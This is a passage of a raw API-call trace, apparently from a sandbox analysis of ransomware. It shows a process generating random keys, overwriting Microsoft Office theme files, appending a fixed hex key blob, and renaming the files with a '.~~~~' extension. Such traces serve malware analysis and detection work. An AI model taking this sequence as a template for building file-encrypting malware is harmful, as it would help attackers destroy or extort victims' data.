	[0122.293] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.293] GetLastError () returned 0x0
	[0122.294] GetLastError () returned 0x0
	[0122.318] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffc3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.318] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c3, lpOverlapped=0x0) returned 1
	[0122.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.319] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.319] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.320] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.320] CloseHandle (hObject=0x148) returned 1
	[0122.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390658
	[0122.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.~~~~")) returned 1
	[0122.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390658 | out: hHeap=0x300000) returned 1
	[0122.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.342] GetLastError () returned 0x0
	[0122.343] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.361] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.361] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.361] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24235140015) returned 1
	[0122.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2682610, dwHighDateTime=0x1d60e1e)) 
	[0122.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ebf8
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ebf8 | out: hHeap=0x300000) returned 1
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.362] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.362] GetLastError () returned 0x0
	[0122.363] GetLastError () returned 0x0
	[0122.363] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.363] GetLastError () returned 0x0
	[0122.363] GetLastError () returned 0x0
	[0122.393] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffc41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.393] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3bf, lpOverlapped=0x0) returned 1
	[0122.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.394] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.394] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.394] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.395] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.395] CloseHandle (hObject=0x11c) returned 1
	[0122.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0122.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.~~~~")) returned 1
	[0122.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0122.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.451] GetLastError () returned 0x0
	[0122.451] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.453] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.453] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24244307348) returned 1
	[0122.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2766e50, dwHighDateTime=0x1d60e1e)) 
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7e68
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7e68 | out: hHeap=0x300000) returned 1
	[0122.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.454] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.454] GetLastError () returned 0x0
	[0122.454] GetLastError () returned 0x0
	[0122.454] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.454] GetLastError () returned 0x0
	[0122.455] GetLastError () returned 0x0
	[0122.469] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.470] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.473] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.474] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.474] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.474] CloseHandle (hObject=0x11c) returned 1
	[0122.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9560
	[0122.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.~~~~")) returned 1
	[0122.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9560 | out: hHeap=0x300000) returned 1
	[0122.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.476] GetLastError () returned 0x0
	[0122.477] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.478] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.478] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.478] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24246859798) returned 1
	[0122.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb278cfb0, dwHighDateTime=0x1d60e1e)) 
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7df8
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7df8 | out: hHeap=0x300000) returned 1
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.480] GetLastError () returned 0x0
	[0122.480] GetLastError () returned 0x0
	[0122.480] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.480] GetLastError () returned 0x0
	[0122.480] GetLastError () returned 0x0
	[0122.517] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffa7e6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.517] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x581a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x581a, lpOverlapped=0x0) returned 1
	[0122.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.621] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.621] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.633] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.634] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.634] CloseHandle (hObject=0x11c) returned 1
	[0122.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8fa0
	[0122.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.~~~~")) returned 1
	[0122.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8fa0 | out: hHeap=0x300000) returned 1
	[0122.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.636] GetLastError () returned 0x0
	[0122.637] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.638] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.638] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24262860944) returned 1
	[0122.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2909d70, dwHighDateTime=0x1d60e1e)) 
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281edb8
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281edb8 | out: hHeap=0x300000) returned 1
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.640] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.640] GetLastError () returned 0x0
	[0122.641] GetLastError () returned 0x0
	[0122.641] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.641] GetLastError () returned 0x0
	[0122.641] GetLastError () returned 0x0
	[0122.644] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff97e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.644] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x6818, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x6818, lpOverlapped=0x0) returned 1
	[0122.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.645] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.645] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.646] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.646] CloseHandle (hObject=0x11c) returned 1
	[0122.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9618
	[0122.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.~~~~")) returned 1
	[0122.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9618 | out: hHeap=0x300000) returned 1
	[0122.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.648] GetLastError () returned 0x0
	[0122.648] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.650] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.650] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24264020406) returned 1
	[0122.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb292fed0, dwHighDateTime=0x1d60e1e)) 
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281edf0
	[0122.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281edf0 | out: hHeap=0x300000) returned 1
	[0122.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
